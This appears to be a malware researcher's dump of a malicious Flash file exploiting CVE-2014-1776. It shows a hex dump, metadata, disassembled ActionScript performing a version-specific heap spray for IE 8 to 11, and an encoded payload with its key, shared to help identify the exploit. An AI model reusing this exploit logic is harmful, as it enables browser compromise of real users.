forked from CCrashBandicot/helpful
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2014-1776
9028 lines (8409 loc) · 323 KB
/
CVE-2014-1776
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// ======================
// CVE-2014-1776 SWF
// Debug mode
// #MalwareMustdie
//
// SHA256: 00db30d185678bacc8f3fa12f6a642ca923d93219a9447b448e0e1e1c97b2c69
// File name: sample.swf
// Detection ratio: 7 / 52
// Analysis date: 2014-05-01 12:26:35 UTC
// URL for sample: https://www.virustotal.com/en/file/00db30d185678bacc8f3fa12f6a642ca923d93219a9447b448e0e1e1c97b2c69/analysis/1398947195/
// *) Hope this spaste can help to ID this CVE
// ======================
// ------------
// Hex Snips
// ------------
0000 43 57 53 0A 17 2F 00 00 78 DA AD 7A 6B 6C 9C 57 CWS../..x..zkl.W
0010 7A DE 77 E6 76 66 86 17 0D 29 92 BA 58 B2 68 6B z.w.vf...)..X.hk
0020 A8 0B C5 11 BF FB 45 6B 6B 2D 59 A2 25 53 36 1D ......Ekk-Y.%S6.
0030 4B 76 36 DE D5 8A E7 9C EF 1C 91 6B 92 C3 0C 87 Kv6........k....
0040 BA A4 69 96 55 D6 DD 0B 0A 64 9D 5D 6C D2 04 29 ..i.U....d.]l..)
0050 46 9B CD C2 1B A7 75 DA EE 8F FD D1 A0 AE 8B 06 F.....u.........
0060 29 8A 00 43 12 6B 15 28 DA BA 40 D1 6C 8B 16 6D )..C.k.(..@.l..m
0070 7F 34 58 20 40 A6 CF F9 BE E1 45 A6 DC 02 45 B5 .4X @.....E...E.
0080 9C 33 E7 BC E7 F6 5E 9F F7 3D B3 BE 67 D0 B6 61 .3....^..=..g..a
0090 1C 58 36 8C A7 89 71 69 E0 90 61 18 5F DD FF AF .X6...qi..a._...
00A0 88 61 3C D7 88 D5 B9 D7 2F 4D 8D DE 5B 5C 58 5A .a<...../M..[.XZ
00B0 39 87 D1 F3 27 E7 9A CD E5 73 93 93 77 EF DE 3D 9...'....s..w..=
00C0 7B D7 39 5B 6F DC 9E B4 A2 28 9A 34 ED 49 DB AE {.9[o....(.4.I..
00D0 61 45 6D E5 FE 52 93 DD AB 2D AD 1C 3F 79 3E 39 aEm..R...-..?y>9
00E0 E0 92 5C 11 8D F9 E5 E6 7C 7D 69 54 8F 19 AF AF ........|}iT....
00F0 36 9F 3F 79 B2 7B 6A 2C B6 0F 5D 5E 6D 2C 24 47 6.?y.{j,..]^m,$G
[...]
1C00 DE D9 A1 B5 D5 60 DA 6F E3 9A 71 5D 65 F0 33 28 .....`.o..q]e.3(
1C10 2A 35 9E 15 34 92 AB CA CC 1B 46 BB 96 63 47 DB *5..4.....F..cG.
1C20 33 96 F1 52 E6 AF C8 F7 32 BF 93 E1 E2 3F 67 3F 3..R....2....?g?
1C30 CA FF 69 1E 05 D3 C1 0C 21 C5 E3 6D 53 1A B3 7D ..i.....!..mS..}
1C40 E6 EC 57 CC D9 B7 CD D9 05 73 76 D1 9C ED C1 DF ..W......sv.....
1C50 17 8C A3 C9 BF B9 B2 7E 53 EE D7 FF 07 41 F2 1F .......~S....A..
1C60 3E EB FF 12 F9 7F 03 64 C6 73 0D >......d.s.
[0x00001c00]> EoF
// ------------------
// Exported Classes:
// ------------------
ABC Block 0 Classes
- Tope$
// ------------------
// Attributes
// ------------------
<FileAttributes useDirectBlit='false' useGPU='false' hasMetadata='true' actionScript3='true' suppressCrossDomainCaching='false' swfRelativeUrls='false' useNetwork='true'/>
<Metadata>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'><rdf:Description rdf:about='' xmlns:dc='http://purl.org/dc/elements/1.1'><dc:format>application/x-shockwave-flash</dc:format><dc:title>Adobe Flex 4 Application</dc:title><dc:description>http://www.adobe.com/products/flex</dc:description><dc:publisher>unknown</dc:publisher><dc:creator>unknown</dc:creator><dc:language>EN</dc:language><dc:date>Apr 29, 2014</dc:date></rdf:Description></rdf:RDF>
</Metadata>
<ScriptLimits scriptRecursionLimit='1000' scriptTimeLimit='60'/>
<SetBackgroundColor color='#FFFFFF'/>
<ProductInfo product='Adobe Flex' edition='' version='4.6' build='23201' compileDate='Mon Apr 28 19:43:28 2014 UTC'/>
<FrameLabel label='Tope'/>
<SymbolClass>
<Symbol idref='0' className='Tope' />
</SymbolClass>
// ------------------
// Noted: DoABC
// ------------------
<DoABC2>
abc name frame1
magic 2e0010
Cpool numbers size 171 1 %
Cpool strings count 138 size 4732 41 %
Cpool namespaces count 21 size 41 0 %
Cpool nssets count 2 size 22 0 %
Cpool names count 110 size 334 2 %
MethodInfo count 25 size 133 1 %
InstanceInfo count 1 size 257 2 %
ClassInfo count 1 size 2 0%
ScriptInfo size 7 0 %
MethodBodies count 25 size 5781 50 %
// script0
class Tope extends flash.display::Sprite
{
function Tope():void /* disp_id=-1 method_id=5 nameIndex = 10 */
{
// local_count=14 max_scope=1 max_stack=5 code_len=1327
// method position=5328 code position=6030
0 getlocal0
1 pushscope
2 getlocal0
3 constructsuper (0)
5 getlocal0
6 getlex stage //nameIndex = 79
8 getproperty loaderInfo //nameIndex = 80
10 getproperty parameters //nameIndex = 81
12 pushstring "y"
14 getproperty null //nameIndex = 75
16 initproperty m_iver //nameIndex = 39
18 getlocal0
19 findpropstrict flash.text::TextField //nameIndex = 25
21 constructprop flash.text::TextField (0) //nameIndex = 25
24 initproperty tf //nameIndex = 24
26 getlocal0
27 findpropstrict flash.media::Sound //nameIndex = 17
29 constructprop flash.media::Sound (0) //nameIndex = 17
32 initproperty private::snd //nameIndex = 16
34 getlocal0
35 getlex Vector //nameIndex = 82
37 getlex Object //nameIndex = 13
39 applytype (1)
41 getlocal0
42 getproperty m_suf //nameIndex = 45
44 construct (1)
46 initproperty s //nameIndex = 23
48 getlocal0
49 getlex Vector //nameIndex = 82
51 getlex Object //nameIndex = 13
53 applytype (1)
55 pushbyte 12
57 construct (1)
59 initproperty ss //nameIndex = 12
61 getlocal0
62 findpropstrict flash.utils::Timer //nameIndex = 22
64 getlocal0
65 getproperty private::delay //nameIndex = 15
67 getlocal0
68 getproperty private::repeat //nameIndex = 28
70 constructprop flash.utils::Timer (2) //nameIndex = 22
73 initproperty private::work //nameIndex = 21
75 pushbyte 0
77 coerce_a
78 setlocal1
79 pushbyte 0
81 coerce_a
82 setlocal2
83 pushbyte 0
85 coerce_a
86 setlocal3
87 pushstring ""
89 coerce_a
90 setlocal 4
92 pushstring ""
94 coerce_a
95 setlocal 5
97 pushshort 4096
100 pushbyte 4
102 divide
103 pushbyte 2
105 subtract
106 coerce_a
107 setlocal 6
109 pushbyte 0
111 coerce_a
112 setlocal 7
114 pushshort 4096
117 pushbyte 4
119 divide
120 pushbyte 17
122 subtract
123 coerce_a
124 setlocal 8
126 pushint 404234240 // 0x18182000
128 pushbyte 8
130 add
131 coerce_a
132 setlocal 9
134 pushbyte 0
136 coerce_a
137 setlocal 10
139 pushbyte 0
141 convert_u
142 setlocal 11
144 pushint 1094795585 // 0x41414141
146 convert_u
147 setlocal 12
149 pushbyte 0
151 coerce_a
152 setlocal1
153 getlocal0
154 getlocal 6
156 initproperty m_rawLen //nameIndex = 44
158 getlocal0
159 getlex flash.net::SharedObject //nameIndex = 42
161 pushstring "mySo32"
163 callproperty getLocal (1) //nameIndex = 83
166 initproperty m_mySo //nameIndex = 41
168 getlocal0
169 callproperty private::DetmineCookie (0) //nameIndex = 47
172 convert_b
173 setlocal 13
175 jump L1
L2:
179 label
180 getlocal0
181 getproperty s //nameIndex = 23
183 getlocal1
184 getlex Vector //nameIndex = 82
186 getlex uint //nameIndex = 3
188 applytype (1)
190 getlocal 6
192 construct (1)
194 setproperty null //nameIndex = 75
196 getlocal0
197 getproperty m_iver //nameIndex = 39
199 pushstring "8"
201 ifne L3
205 returnvoid
L3:
206 getlocal0
207 getproperty m_iver //nameIndex = 39
209 pushstring "9"
211 ifne L4
215 getlocal0
216 getproperty s //nameIndex = 23
218 getlocal1
219 getproperty null //nameIndex = 75
221 pushbyte 0
223 dup
224 setproperty null //nameIndex = 75
226 getlocal0
227 getlocal1
228 pushbyte 6
230 getlocal 9
232 pushbyte 16
234 add
235 pushbyte 120
237 subtract
238 callpropvoid setArrValue (3) //nameIndex = 48
241 getlocal0
242 getlocal1
243 pushbyte 6
245 pushbyte 4
247 add
248 getlocal 9
250 pushbyte 80
252 add
253 pushbyte 28
255 subtract
256 callpropvoid setArrValue (3) //nameIndex = 48
259 pushbyte 16
261 coerce_a
262 setlocal 10
264 getlocal0
265 getlocal1
266 getlocal 10
268 getlocal 9
270 pushbyte 32
272 add
273 pushbyte 44
275 subtract
276 callpropvoid setArrValue (3) //nameIndex = 48
279 getlocal0
280 getlocal1
281 getlocal 10
283 pushbyte 12
285 add
286 getlocal 9
288 pushbyte 32
290 add
291 pushbyte 44
293 subtract
294 callpropvoid setArrValue (3) //nameIndex = 48
297 pushbyte 32
299 coerce_a
300 setlocal 10
302 getlocal0
303 getlocal1
304 getlocal 10
306 getlocal 9
308 pushbyte 52
310 add
311 callpropvoid setArrValue (3) //nameIndex = 48
314 getlocal0
315 getlocal1
316 getlocal 10
318 pushbyte 4
320 add
321 pushint 1111638594 // 0x42424242
323 callpropvoid setArrValue (3) //nameIndex = 48
326 getlocal0
327 getlocal1
328 getlocal 10
330 pushbyte 16
332 add
333 pushbyte 0
335 callpropvoid setArrValue (3) //nameIndex = 48
338 pushbyte 52
340 coerce_a
341 setlocal 10
343 getlocal0
344 getlocal1
345 getlocal 10
347 pushint 1111638594 // 0x42424242
349 callpropvoid setArrValue (3) //nameIndex = 48
352 getlocal0
353 getlocal1
354 getlocal 10
356 pushbyte 8
358 add
359 pushint 1111638594 // 0x42424242
361 callpropvoid setArrValue (3) //nameIndex = 48
364 pushbyte 80
366 coerce_a
367 setlocal 10
369 getlocal0
370 getlocal1
371 getlocal 10
373 getlocal 9
375 pushbyte 80
377 add
378 pushbyte 4
380 add
381 pushbyte 4
383 subtract
384 callpropvoid setArrValue (3) //nameIndex = 48
387 getlocal0
388 getlocal1
389 getlocal 10
391 pushbyte 4
393 add
394 getlocal 9
396 pushbyte 80
398 add
399 pushbyte 8
401 add
402 pushshort 168
405 subtract
406 callpropvoid setArrValue (3) //nameIndex = 48
409 getlocal0
410 getlocal1
411 getlocal 10
413 pushbyte 8
415 add
416 pushbyte 0
418 callpropvoid setArrValue (3) //nameIndex = 48
421 pushshort 256
424 coerce_a
425 setlocal 10
427 getlocal0
428 getproperty s //nameIndex = 23
430 getlocal1
431 getproperty null //nameIndex = 75
433 getlocal 10
435 pushbyte 4
437 add
438 pushbyte 4
440 divide
441 getlocal 9
443 pushbyte 8
445 add
446 getlocal 10
448 add
449 pushshort 376
452 add
453 setproperty null //nameIndex = 75
455 getlocal0
456 getproperty s //nameIndex = 23
458 getlocal1
459 getproperty null //nameIndex = 75
461 getlocal 10
463 pushbyte 8
465 add
466 pushbyte 4
468 divide
469 pushbyte 0
471 setproperty null //nameIndex = 75
473 getlocal0
474 getproperty s //nameIndex = 23
476 getlocal1
477 getproperty null //nameIndex = 75
479 getlocal 10
481 pushbyte 12
483 add
484 pushbyte 4
486 divide
487 getlocal 10
489 getlocal 9
491 add
492 pushbyte 12
494 add
495 pushbyte 12
497 add
498 pushbyte 4
500 add
501 setproperty null //nameIndex = 75
503 getlocal0
504 getproperty s //nameIndex = 23
506 getlocal1
507 getproperty null //nameIndex = 75
509 getlocal 10
511 pushbyte 12
513 add
514 pushbyte 12
516 add
517 pushbyte 4
519 divide
520 pushbyte 1
522 setproperty null //nameIndex = 75
524 getlocal 10
526 pushbyte 12
528 add
529 pushbyte 12
531 add
532 pushbyte 4
534 add
535 coerce_a
536 setlocal 10
538 getlocal0
539 getproperty s //nameIndex = 23
541 getlocal1
542 getproperty null //nameIndex = 75
544 getlocal 10
546 pushbyte 28
548 add
549 pushbyte 4
551 divide
552 getlocal 9
554 pushshort 4088
557 add
558 pushbyte 66
560 subtract
561 setproperty null //nameIndex = 75
563 getlocal0
564 getproperty s //nameIndex = 23
566 getlocal1
567 getproperty null //nameIndex = 75
569 getlocal 10
571 pushbyte 36
573 add
574 pushbyte 4
576 divide
577 pushdouble 4294901760
579 setproperty null //nameIndex = 75
581 getlocal0
582 getproperty s //nameIndex = 23
584 getlocal1
585 getproperty null //nameIndex = 75
587 getlocal 10
589 pushbyte 48
591 add
592 pushbyte 4
594 divide
595 pushint 1094795585 // 0x41414141
597 setproperty null //nameIndex = 75
599 getlocal0
600 getproperty s //nameIndex = 23
602 getlocal1
603 getproperty null //nameIndex = 75
605 getlocal 10
607 pushbyte 112
609 add
610 pushbyte 4
612 divide
613 pushint 1179010630 // 0x46464646
615 setproperty null //nameIndex = 75
617 pushshort 4088
620 pushbyte 66
622 subtract
623 coerce_a
624 setlocal 10
626 getlocal0
627 getlocal1
628 getlocal 10
630 pushbyte 12
632 subtract
633 pushint 1094795761 // 0x414141f1
635 callpropvoid setArrValue (3) //nameIndex = 48
638 getlocal0
639 getlocal1
640 getlocal 10
642 pushbyte 0
644 add
645 getlocal 9
647 getlocal 10
649 add
650 pushbyte 8
652 add
653 pushbyte 32
655 subtract
656 callpropvoid setArrValue (3) //nameIndex = 48
659 getlocal0
660 getlocal1
661 getlocal 10
663 pushbyte 8
665 add
666 pushdouble 4294967295
668 callpropvoid setArrValue (3) //nameIndex = 48
671 getlocal0
672 getlocal1
673 getlocal 10
675 pushbyte 12
677 add
678 pushbyte 15
680 callpropvoid setArrValue (3) //nameIndex = 48
683 getlocal0
684 getlocal1
685 getlocal 10
687 pushbyte 32
689 add
690 pushbyte 0
692 callpropvoid setArrValue (3) //nameIndex = 48
695 getlocal0
696 getlocal1
697 getlocal 10
699 pushbyte 36
701 add
702 pushbyte 20
704 add
705 pushbyte 0
707 callpropvoid setArrValue (3) //nameIndex = 48
710 getlocal0
711 getlocal1
712 getlocal 10
714 pushbyte 60
716 add
717 pushdouble 4294967295
719 callpropvoid setArrValue (3) //nameIndex = 48
722 getlocal0
723 getproperty s //nameIndex = 23
725 getlocal1
726 getproperty null //nameIndex = 75
728 pushshort 1022
731 decrement
732 pushdouble 4294967295
734 setproperty null //nameIndex = 75
736 jump L5
L4:
740 getlocal0
741 getproperty m_iver //nameIndex = 39
743 pushstring "10"
745 ifne L6
749 getlocal0
750 getlocal1
751 pushbyte 48
753 getlocal 9
755 pushshort 4088
758 add
759 pushshort 1300
762 subtract
763 pushshort 344
766 subtract
767 callpropvoid setArrValue (3) //nameIndex = 48
770 getlocal0
771 getlocal1
772 pushshort 148
775 pushbyte 8
777 subtract
778 pushint 65536 // 0x10000
780 callpropvoid setArrValue (3) //nameIndex = 48
783 getlocal0
784 getlocal1
785 pushshort 228
788 pushbyte 8
790 subtract
791 pushdouble 4294967295
793 callpropvoid setArrValue (3) //nameIndex = 48
796 getlocal0
797 getlocal1
798 pushbyte 52
800 pushshort 448
803 add
804 pushbyte 0
806 callpropvoid setArrValue (3) //nameIndex = 48
809 pushshort 512
812 convert_u
813 setlocal 11
815 getlocal0
816 getlocal1
817 getlocal 11
819 getlocal 9
821 getlocal 11
823 add
824 callpropvoid setArrValue (3) //nameIndex = 48
827 getlocal0
828 getlocal1
829 getlocal 11
831 pushbyte 12
833 add
834 pushbyte 1
836 callpropvoid setArrValue (3) //nameIndex = 48
839 getlocal0
840 getlocal1
841 getlocal 11
843 pushbyte 28
845 add
846 getlocal 9
848 getlocal 11
850 add
851 pushshort 256
854 add
855 callpropvoid setArrValue (3) //nameIndex = 48
858 getlocal0
859 getlocal1
860 getlocal 11
862 pushbyte 36
864 add
865 pushint 131072 // 0x20000
867 callpropvoid setArrValue (3) //nameIndex = 48
870 getlocal0
871 getlocal1
872 getlocal 11
874 pushbyte 48
876 add
877 pushbyte 0
879 callpropvoid setArrValue (3) //nameIndex = 48
882 getlocal0
883 getlocal1
884 getlocal 11
886 pushshort 152
889 add
890 getlocal 9
892 pushshort 4088
895 add
896 pushshort 1300
899 subtract
900 pushshort 344
903 subtract
904 callpropvoid setArrValue (3) //nameIndex = 48
907 getlocal 11
909 pushshort 256
912 add
913 convert_u
914 setlocal 11
916 getlocal0
917 getlocal1
918 getlocal 11
920 pushbyte 8
922 add
923 pushint 131072 // 0x20000
925 callpropvoid setArrValue (3) //nameIndex = 48
928 getlocal0
929 getlocal1
930 getlocal 11
932 pushbyte 12
934 add
935 getlocal 12
937 callpropvoid setArrValue (3) //nameIndex = 48
940 getlocal0
941 getlocal1
942 getlocal 11
944 pushbyte 36
946 add
947 pushbyte 64
949 callpropvoid setArrValue (3) //nameIndex = 48
952 getlocal0
953 getlocal1
954 getlocal 11
956 pushbyte 56
958 add
959 getlocal 9
961 getlocal 11
963 add
964 pushbyte 12
966 add
967 callpropvoid setArrValue (3) //nameIndex = 48
970 getlocal0
971 getlocal1
972 getlocal 11
974 pushbyte 68
976 add
977 pushdouble 4294967295
979 callpropvoid setArrValue (3) //nameIndex = 48
982 getlocal0
983 getlocal1
984 getlocal 11
986 pushbyte 92
988 add
989 getlocal 12
991 callpropvoid setArrValue (3) //nameIndex = 48
994 getlocal0
995 getlocal1
996 pushbyte 52
998 pushshort 3728
1001 add
1002 pushbyte 0
1004 callpropvoid setArrValue (3) //nameIndex = 48
1007 pushshort 4088
1010 convert_u
1011 setlocal 11
1013 jump L5
L6:
1017 getlocal0
1018 getproperty m_iver //nameIndex = 39
1020 pushstring "11"
1022 ifne L5
1026 getlocal0
1027 getlocal1
1028 pushbyte 48
1030 getlocal 9
1032 pushshort 4088
1035 add
1036 pushshort 1592
1039 subtract
1040 pushshort 584
1043 subtract
1044 callpropvoid setArrValue (3) //nameIndex = 48
1047 getlocal0
1048 getlocal1
1049 pushshort 312
1052 pushbyte 8
1054 subtract
1055 pushint 65536 // 0x10000
1057 callpropvoid setArrValue (3) //nameIndex = 48
1060 getlocal0
1061 getlocal1
1062 pushshort 428
1065 pushbyte 8
1067 subtract
1068 pushdouble 4294967295
1070 callpropvoid setArrValue (3) //nameIndex = 48
1073 getlocal0
1074 getlocal1
1075 pushshort 428
1078 pushbyte 12
1080 add
1081 pushbyte 8
1083 subtract
1084 pushdouble 4294967295
1086 callpropvoid setArrValue (3) //nameIndex = 48
1089 pushshort 512
1092 convert_u
1093 setlocal 11
1095 getlocal0
1096 getlocal1
1097 getlocal 11
1099 getlocal 9
1101 getlocal 11
1103 add
1104 callpropvoid setArrValue (3) //nameIndex = 48
1107 getlocal0
1108 getlocal1
1109 getlocal 11
1111 pushbyte 12
1113 add
1114 pushbyte 1
1116 callpropvoid setArrValue (3) //nameIndex = 48
1119 getlocal0
1120 getlocal1
1121 getlocal 11
1123 pushbyte 28
1125 add
1126 getlocal 9
1128 getlocal 11
1130 add
1131 pushshort 256
1134 add
1135 callpropvoid setArrValue (3) //nameIndex = 48
1138 getlocal0
1139 getlocal1
1140 getlocal 11
1142 pushbyte 36
1144 add
1145 pushbyte 0
1147 callpropvoid setArrValue (3) //nameIndex = 48
1150 getlocal 11
1152 pushshort 256
1155 add
1156 convert_u
1157 setlocal 11
1159 getlocal0
1160 getlocal1
1161 getlocal 11
1163 pushbyte 8
1165 add
1166 pushint 131072 // 0x20000
1168 callpropvoid setArrValue (3) //nameIndex = 48
1171 getlocal0
1172 getlocal1
1173 getlocal 11
1175 pushbyte 68
1177 add
1178 pushdouble 4294967295
1180 callpropvoid setArrValue (3) //nameIndex = 48
1183 getlocal0
1184 getlocal1
1185 getlocal 11
1187 pushbyte 92
1189 add
1190 getlocal 12
1192 callpropvoid setArrValue (3) //nameIndex = 48
1195 pushshort 4088
1198 convert_u
1199 setlocal 11
L5:
1201 getlocal1
1202 increment
1203 coerce_a
1204 setlocal1
L1:
1205 getlocal1
1206 getlocal0
1207 getproperty m_suf //nameIndex = 45
1209 iflt L2
1213 pushbyte 0
1215 coerce_a
1216 setlocal1
1217 jump L7
L8:
1221 label
1222 getlocal0
1223 getproperty ss //nameIndex = 12
1225 getlocal1
1226 getlex Vector //nameIndex = 82
1228 getlex Object //nameIndex = 13
1230 applytype (1)
1232 getlocal 8
1234 construct (1)
1236 setproperty null //nameIndex = 75
1238 pushbyte 0
1240 coerce_a
1241 setlocal2
1242 jump L9
L10:
1246 label
1247 getlocal0
1248 getproperty ss //nameIndex = 12
1250 getlocal1
1251 getproperty null //nameIndex = 75
1253 getlocal2
1254 getlocal0
1255 getproperty private::snd //nameIndex = 16
1257 setproperty null //nameIndex = 75
1259 getlocal2
1260 increment
1261 coerce_a
1262 setlocal2
L9:
1263 getlocal2
1264 getlocal 8
1266 iflt L10
1270 getlocal1
1271 increment
1272 coerce_a
1273 setlocal1
L7:
1274 getlocal1
1275 pushshort 1024
1278 iflt L8
1282 getlex flash.external::ExternalInterface //nameIndex = 77
1284 getproperty available //nameIndex = 84
1286 iffalse L11
1290 getlex flash.external::ExternalInterface //nameIndex = 77
1292 pushstring "eim"
1294 getlocal0
1295 getlocal0
1296 getproperty private::m_trg //nameIndex = 20
1298 callproperty private::decode (1) //nameIndex = 51
1301 callproperty toString (0) //nameIndex = 85
1304 callpropvoid call (2) //nameIndex = 78
L11:
1307 getlocal0
1308 getproperty private::work //nameIndex = 21
1310 callpropvoid start (0) //nameIndex = 86
1313 getlocal0
1314 getproperty private::work //nameIndex = 21
1316 getlex flash.events::TimerEvent //nameIndex = 9
1318 getproperty TIMER //nameIndex = 87
1320 getlocal0
1321 getproperty private::proc //nameIndex = 67
1323 callpropvoid addEventListener (2) //nameIndex = 88
1326 returnvoid
}
var ss:__AS3__.vec::Vector.<Object> /* slot_id 0 */
var private::delay:uint = 1000 /* slot_id 0 */
var private::snd:flash.media::Sound /* slot_id 0 */
var private::m_dump7:String = "5467ebaa5baab6c9d945321215d4f075251af2717b30cde85bdcede9d17bfb6eff2aa25e9b34ad7a1670ab5abc27b19273f17f197765196c0299b84f190b848f1d39eb95428d0e631343348b378f8d1246d2f5b33a4efff9a47f941a3eb02b290b2ac6732987f56d8c442af410beccbeac3cbbeaead69d33b790d0a8c32381ae11e4d7fe6802d9784ccf567380c1f9147f2e9577e0d01e392bb36d2421987f981c6745abbc5a57fa4d5f33047c95fa99882b23fd68b68b22ff25144978ff38499785a0bdf37635dbfddfd38264dcc3c0dd5f248dc26fd97fbf811f53edbb781c657928a6ea83b9420a139d31f8437ff98c66407b96acd9fc171dca9db15142f1379b269a5d6c3d3e806e94a5e442b1b2f4e8bff536654e2ca1a64e6df678ceeb58935219a7b2765068ebe20bc6675ef7f568f10a57fd153294ebacaf1e483ba01b657fe4b91ea025cb44c6b528dadd3ac4983bfcdd0fe9855217e9f4edc9d653b73f2f64f93bc76512194edad58fef5b96225676d0900e20b52e66c2c1d5d6b39080b8d021c1dd4511066957acead8e861e090401ff8c7f2865f845db36240d2f30194e775db98c883a1b64bcf93559c07c5ef6fb3c6da00b18614e6228747294ccb546cb8abe22bc9e15584afc4a249723ce594d9bc6d5e900db1ad4a3bd461cf7a060700bc580cd2cd238ff95b009ad81ed00abcf05d2632eb089f6e748983955f6b5104014fec4a138c6977d78c50a26a79166da8cbc9042a6f60a4139dffee2998c33902b254367b4344982ef09ec509d074aff79b47f6141628a53a73da9193ad5259e42387aeeaa6652994b4bdef90dc764091e477993eca3cb821475a0f1450b0956814cb256f357f71380c0d7f5718126a3410cb835721ec5bbfec69f57bcd56d04ee8a606da46a653bf43b12c0422511956ea79c98fce1afbd0c64ca3148b6e442e44301d3bb8b93587ecc2a86b48c406930978bad9cb0d5c5e627c87fd07eebb3305b343468bda57e0083e558e3155b02770e8dd5a1f22a810aec453be2430a200b28da859cecbe12aa384c9419e6f663c8fbae50340593babd6b2b0aab93a62623fe55a8ed41e98c613b5fd26435701b2dca49126f092f59e848692c411a6be306a2d5b6ebdabc4786fb7012a63b67e9d521a6043592fbba03f0de5f6ad22498dcc8fa2fce9e56fcfa4115caab30947d2a882be6b33d38ffc3ec5f1c2597ba7ef57d640584ad0ffbbf18158aabe762864064e155054238a8e2e097285f94f3a4f14866e739d4e54bcbf5f6d4491a8f4637c5f698ecc43f11b50354b8e85ce4790b06c714f40791175952a8c8d8b8b79b1ccebe03e6dcfd2da3aacea36222a6cf09a04726411b846f808058fb35abd407349a41e83c9bac9c3b4b7fd3f88d11d429840bc09e73088568d871d96585335258b0764f7b830d8f9a976d3d8ec309740cf8c2327286229dc8cea287d33761f4336faa5754028c4a1371278df3e8be864ac17737a0f562c287d2bbfdd3da83d5040d019d92dfe430f43b5126562e60615b1c741f07af8c711563de208b266e9a865ab1573e780725bbc160f4d22165b128bee7108c30385990f9f9153e9a402ed0961b240260d3dd7ab14585488c6779d64c93bd7176157a2152c41455518b5004a84df6a4ed1ec0bec6cf1fb60188bbe93385caaa0902d9a2a12bf5c06cbc85f9e9cd523eb6e54cca35a2498e3791cefabd8166c406bf053de550c26089cb02c879d89b817b258d2e7d45885ca387edebd0097ffa830892d2a9665047942ca87f82009cf1caafa13490a9e0b657fed2a6669659c80dac79e4a5ec540bd645b5d503880b642992ea8c1b0f3846c648f0a0b2a7fd52c1517f96a0a34b59089b347b58f98fc89b5b3824c6e600675a502eac5092d" /* slot_id 0 */
var private::m_keys:String = "2eb31f09e9a77a0fde5a1a23eff067a24a98840ceabf048497b3" /* slot_id 0 */
